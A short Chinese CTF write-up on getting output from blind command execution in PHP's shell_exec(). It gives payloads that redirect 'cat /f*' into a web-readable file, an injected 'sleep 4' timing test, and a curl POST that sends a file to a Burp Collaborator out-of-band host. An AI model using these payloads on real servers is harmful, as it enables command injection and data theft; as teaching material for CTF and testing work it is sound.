shell_exec()等函数无回显执行办法
遇到shell_exec()函数无回显执行,比如:
1 | <?php |
在PHP中 “>” 是表示把什么写入什么文件的意思。
比如这道题目,既然无回显,那我就把它写进一个文件,然后访问这个文件不就可以了。
可以使用burp上的Collaborator抓取。
以上题为例,详细抓取步骤:
先将无回显的内容保存在一个文件里,post以下:
1 | cmd=cat /f* > 2.txt |
这样有了一个文件2.txt,其中是执行了cat /f* 命令的结果,接下来抓取该文件就能看到了。
使用curl -F将flag文件上传到Burp的Collaborator Client(Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看POST请求包以及打Cookies)(-X指定发送一个POST请求,-F指定要发送的文件)
获取Collaborator Client分配给BURP的链接:
打开Burp主界面 -->菜单(Burp)–>Burp Collaboraor Client – > 点击 Copy to Clipboard
(获取后的链接要手动加上http://,xx=@+要提取的文件)
1 | cmd=curl -X POST -F xx=@1.txt http://j6qb1ixdl8li829ybr7wxkuzwq2hqbe0.oastify.com |
抓取结果如下:
对于这类题还有个很简单的方法,直接将flag写进文件,然后路径读取就行
先测试一下能不能执行 cmd=1;sleep 4
发现反应了4秒,能执行
然后直接 cat /f* > 1.txt
最后访问/1.txt路径就行
评论